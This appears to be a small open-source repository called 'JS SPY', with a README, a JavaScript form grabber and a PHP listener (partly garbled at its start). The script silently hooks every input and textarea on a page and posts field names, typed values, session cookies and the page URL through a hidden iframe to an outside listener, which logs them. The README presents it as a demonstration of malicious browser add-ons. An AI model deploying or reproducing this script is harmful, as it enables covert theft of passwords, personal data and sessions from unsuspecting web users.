├── testing-page.html
├── listener.php
├── README.md
└── js-spy.js
/testing-page.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Testing Page
8 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/listener.php:
--------------------------------------------------------------------------------
1 | \"".$_POST['input_value']."\")");
7 | }
8 | else {
9 | if($_POST['cookie'] != ""){
10 | fputs($file, "(Cookie: ".$_POST['cookie'].")");
11 | }
12 | }
13 | fputs($file, "\n");
14 | fclose($file);
15 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | JS SPY
2 | ======
3 | By developing this, I want to show how easy it is to track and stole personal informations by injecting a simple Javascript. The hacker has just to install an add-on/plugin on the victim's web browser which can inject every page the victim will visit with this script.
4 |
5 | Peoples have to be more careful about their web browser, too many free software install add-on/plugin on our browsers without our agreement.
6 |
7 | *Tested on Firefox, Chrome and Internet Explorer.*
8 |
9 | *For testing purpose only.*
10 |
11 | *I am not responsible for what you do with this script.*
12 |
--------------------------------------------------------------------------------
/js-spy.js:
--------------------------------------------------------------------------------
1 | var spyjs_location = ""; //location of listener.php
2 |
3 | window.addEventListener("load", function() {
4 | var ifrm = document.createElement("iframe");
5 | ifrm.setAttribute("id", "thiefmailbox");
6 | ifrm.setAttribute("name", "thiefmailbox");
7 | ifrm.style.display = "none";
8 | document.body.appendChild(ifrm);
9 |
10 | var inputs = document.querySelectorAll('input');
11 | for(var i = 0; i < inputs.length; i++) {
12 | inputs[i].addEventListener("change", function(e) {spyjs_getInput(e.currentTarget)});
13 | }
14 | var textareas = document.getElementsByTagName('textarea');
15 | for(var i = 0; i < textareas.length; i++) {
16 | textareas[i].addEventListener("change", function(e) {spyjs_getInput(e.currentTarget)});
17 | }
18 | spyjs_getLocation();
19 | }, false);
20 |
21 |
22 | function spyjs_getLocation(){
23 | var loc = {};
24 | spyjs_send(loc);
25 | }
26 | function spyjs_getInput(inputInfo){
27 | var name = inputInfo.name;
28 | var value = inputInfo.value;
29 | var stolenInput = {};
30 | if(name === ""){
31 | name="undefined_input";
32 | }
33 | if(value != ""){
34 | stolenInput[name] = value;
35 | spyjs_send(stolenInput);
36 | }
37 | }
38 | function spyjs_send(params){
39 | var form = document.createElement("form");
40 | form.setAttribute("method", "post");
41 | form.setAttribute("target", "thiefmailbox");
42 | form.setAttribute("action", spyjs_location+"?lo="+location.href);
43 | var field = document.createElement("input");
44 | field.setAttribute("type", "hidden");
45 | field.setAttribute("name", "cookie");
46 | field.setAttribute("value", document.cookie);
47 | form.appendChild(field);
48 | for(var key in params) {
49 | if(params.hasOwnProperty(key)) {
50 | var field = document.createElement("input");
51 | field.setAttribute("type", "hidden");
52 | field.setAttribute("name", "input_name");
53 | field.setAttribute("value", key);
54 | form.appendChild(field);
55 | var field = document.createElement("input");
56 | field.setAttribute("type", "hidden");
57 | field.setAttribute("name", "input_value");
58 | field.setAttribute("value", params[key]);
59 | form.appendChild(field);
60 | }
61 | }
62 | document.body.appendChild(form);
63 | form.submit();
64 | }
--------------------------------------------------------------------------------